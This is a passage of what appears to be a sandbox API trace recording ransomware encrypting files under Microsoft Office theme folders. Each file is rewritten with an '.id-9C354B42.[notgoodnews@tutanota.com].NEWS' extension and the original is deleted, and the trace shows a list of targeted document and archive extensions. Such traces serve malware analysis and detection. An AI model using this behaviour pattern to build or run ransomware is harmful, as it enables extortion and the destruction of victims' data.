shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.709] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.709] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.710] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.713] GetLastError () returned 0x0 [0071.713] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x1400, lpOverlapped=0x0) returned 1 [0071.716] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0071.717] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0071.717] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0071.718] SetEndOfFile (hFile=0x1e8) returned 1 [0071.718] CloseHandle (hObject=0x1e8) returned 1 [0071.718] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.718] SetEndOfFile (hFile=0x1f4) returned 1 [0071.719] CloseHandle (hObject=0x1f4) returned 1 [0071.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0071.720] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0071.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.720] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.720] lstrlenW (lpString=".doc") returned 4 [0071.720] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.720] lstrlenW (lpString=".docx") returned 5 [0071.720] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.720] lstrlenW (lpString=".pdf") returned 4 [0071.721] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.721] lstrlenW (lpString=".xls") returned 4 [0071.721] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.721] lstrlenW (lpString=".xlsx") returned 5 [0071.721] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.721] lstrlenW (lpString=".ppt") returned 4 [0071.721] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.721] lstrlenW (lpString=".zip") returned 4 [0071.721] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.721] lstrlenW (lpString=".rar") returned 4 [0071.721] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.721] lstrlenW (lpString=".bz2") returned 4 [0071.721] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.721] lstrlenW (lpString=".7z") returned 3 [0071.721] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.721] lstrlenW (lpString=".dbf") returned 4 [0071.721] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.721] lstrlenW (lpString=".1cd") returned 4 [0071.721] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.721] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.721] lstrlenW (lpString=".jpg") returned 4 [0071.722] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.722] lstrlenW (lpString=".doc") returned 4 [0071.722] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0071.722] lstrlenW (lpString=".docx") returned 5 [0071.722] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0071.722] lstrlenW (lpString=".pdf") returned 4 [0071.722] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0071.722] lstrlenW (lpString=".xls") returned 4 [0071.722] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0071.722] lstrlenW (lpString=".xlsx") returned 5 [0071.722] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0071.722] lstrlenW (lpString=".ppt") returned 4 [0071.722] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0071.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.722] lstrlenW (lpString=".zip") returned 4 [0071.722] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0071.722] lstrlenW (lpString=".rar") returned 4 [0071.722] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0071.722] lstrlenW (lpString=".bz2") returned 4 [0071.723] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0071.723] lstrlenW (lpString=".7z") returned 3 [0071.723] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0071.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.723] lstrlenW (lpString=".dbf") returned 4 [0071.723] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0071.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.723] lstrlenW (lpString=".1cd") returned 4 [0071.723] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0071.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0071.723] lstrlenW (lpString=".jpg") returned 4 [0071.723] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0071.723] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0071.723] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0071.723] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.725] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=60724) returned 1 [0071.725] CloseHandle (hObject=0x1f4) returned 1 [0071.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0071.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0071.726] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.726] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0071.727] GetLastError () returned 0x0 [0071.727] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0xed34, lpOverlapped=0x0) returned 1 [0072.543] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0072.544] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.545] WriteFile (in: hFile=0x1e8, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.545] SetEndOfFile (hFile=0x1e8) returned 1 [0072.545] CloseHandle (hObject=0x1e8) returned 1 [0072.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.545] SetEndOfFile (hFile=0x1f4) returned 1 [0072.550] CloseHandle (hObject=0x1f4) returned 1 [0072.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.551] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0072.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.551] lstrlenW (lpString=".doc") returned 4 [0072.551] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.551] lstrlenW (lpString=".docx") returned 5 [0072.551] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.551] lstrlenW (lpString=".pdf") returned 4 [0072.551] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.551] lstrlenW (lpString=".xls") returned 4 [0072.551] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.551] lstrlenW (lpString=".xlsx") returned 5 [0072.551] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.552] lstrlenW (lpString=".ppt") returned 4 [0072.552] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.552] lstrlenW (lpString=".zip") returned 4 [0072.552] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.552] lstrlenW (lpString=".rar") returned 4 [0072.552] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.552] lstrlenW (lpString=".bz2") returned 4 [0072.552] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.552] lstrlenW (lpString=".7z") returned 3 [0072.552] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.552] lstrlenW (lpString=".dbf") returned 4 [0072.552] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.552] lstrlenW (lpString=".1cd") returned 4 [0072.552] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.552] lstrlenW (lpString=".jpg") returned 4 [0072.552] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.552] lstrlenW (lpString=".doc") returned 4 [0072.552] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.552] lstrlenW (lpString=".docx") returned 5 [0072.553] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.553] lstrlenW (lpString=".pdf") returned 4 [0072.553] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.553] lstrlenW (lpString=".xls") returned 4 [0072.553] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.553] lstrlenW (lpString=".xlsx") returned 5 [0072.553] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.553] lstrlenW (lpString=".ppt") returned 4 [0072.553] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.553] lstrlenW (lpString=".zip") returned 4 [0072.553] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.553] lstrlenW (lpString=".rar") returned 4 [0072.553] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.553] lstrlenW (lpString=".bz2") returned 4 [0072.553] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.553] lstrlenW (lpString=".7z") returned 3 [0072.553] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.553] lstrlenW (lpString=".dbf") returned 4 [0072.553] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.553] lstrlenW (lpString=".1cd") returned 4 [0072.553] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0072.554] lstrlenW (lpString=".jpg") returned 4 [0072.554] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.554] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.554] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0072.555] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=1232) returned 1 [0072.555] CloseHandle (hObject=0x1f4) returned 1 [0072.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0072.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0072.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.555] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0072.917] GetLastError () returned 0x0 [0072.917] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x4d0, lpOverlapped=0x0) returned 1 [0072.919] WriteFile (in: hFile=0x190, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0072.921] ReadFile (in: hFile=0x1f4, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.921] WriteFile (in: hFile=0x190, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.921] SetEndOfFile (hFile=0x190) returned 1 [0072.921] CloseHandle (hObject=0x190) returned 1 [0072.921] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.921] SetEndOfFile (hFile=0x1f4) returned 1 [0072.923] CloseHandle (hObject=0x1f4) returned 1 [0072.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.923] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0072.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.923] lstrlenW (lpString=".doc") returned 4 [0072.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.923] lstrlenW (lpString=".docx") returned 5 [0072.924] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.924] lstrlenW (lpString=".pdf") returned 4 [0072.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.924] lstrlenW (lpString=".xls") returned 4 [0072.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.924] lstrlenW (lpString=".xlsx") returned 5 [0072.924] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.924] lstrlenW (lpString=".ppt") returned 4 [0072.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.924] lstrlenW (lpString=".zip") returned 4 [0072.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.924] lstrlenW (lpString=".rar") returned 4 [0072.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.924] lstrlenW (lpString=".bz2") returned 4 [0072.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.924] lstrlenW (lpString=".7z") returned 3 [0072.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.924] lstrlenW (lpString=".dbf") returned 4 [0072.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.924] lstrlenW (lpString=".1cd") returned 4 [0072.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.924] lstrlenW (lpString=".jpg") returned 4 [0072.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.925] lstrlenW (lpString=".doc") returned 4 [0072.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.925] lstrlenW (lpString=".docx") returned 5 [0072.925] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.925] lstrlenW (lpString=".pdf") returned 4 [0072.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.925] lstrlenW (lpString=".xls") returned 4 [0072.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.925] lstrlenW (lpString=".xlsx") returned 5 [0072.925] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.925] lstrlenW (lpString=".ppt") returned 4 [0072.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.925] lstrlenW (lpString=".zip") returned 4 [0072.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.925] lstrlenW (lpString=".rar") returned 4 [0072.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.925] lstrlenW (lpString=".bz2") returned 4 [0072.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.925] lstrlenW (lpString=".7z") returned 3 [0072.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.925] lstrlenW (lpString=".dbf") returned 4 [0072.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.925] lstrlenW (lpString=".1cd") returned 4 [0072.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.926] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0072.926] lstrlenW (lpString=".jpg") returned 4 [0072.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.926] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.926] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.926] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 9 os_tid = 0x98c [0043.651] GetTickCount () returned 0x1154d37 [0043.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x24) returned 0x61a668 [0043.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x61a668, dwCreationFlags=0x0, lpThreadId=0x0 | 